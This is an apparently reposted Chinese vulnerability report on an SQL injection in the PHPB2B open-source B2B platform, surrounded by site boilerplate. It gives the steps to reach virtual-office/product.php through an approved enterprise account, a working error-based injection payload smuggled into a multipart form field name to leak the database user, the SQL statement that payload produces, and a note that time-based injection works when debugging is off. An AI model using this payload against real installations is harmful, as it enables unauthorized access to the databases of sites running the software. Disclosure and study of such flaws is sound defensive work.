PHPB2B注入#3(绕过过滤)

没穿底裤 2020年1月1日03:47:10评论405 views字数 830阅读2分46秒阅读模式
摘要

PHPB2B某处注入
绕过过滤。
官方最新版本. https://github.com/ulinke/phpb2b/archive/master.zip


漏洞作者: darker

PHPB2B某处注入
绕过过滤。
官方最新版本. https://github.com/ulinke/phpb2b/archive/master.zip

详细说明:

1.注册企业会员。

2.注册企业会员且通过审核。

发布产品。

漏洞文件。virtual-office/product.php

Content-Disposition: form-data; name="data[product][sort_id]"

Content-Disposition: form-data; name="data[product][name]"

...

...

post提交:Content-Disposition: form-data; name="data[product][sort_id FROM pb_thk_products where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#]"

执行:

SELECT sort_id FROM pb_thk_products where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#,name,price,country_id,content,type_id,category_id,brand_id,status,tag_ids,cache_companyname,industry_id,area_id,member_id,company_id,modified,created FROM pb_thk_products WHERE id='-1'

漏洞证明:

本地测试开启debug。程序默认不开启debug,可延时注入。

PHPB2B注入#3(绕过过滤)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日03:47:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPB2B注入#3(绕过过滤)http://cn-sec.com/archives/75901.html

发表评论

匿名网友 填写信息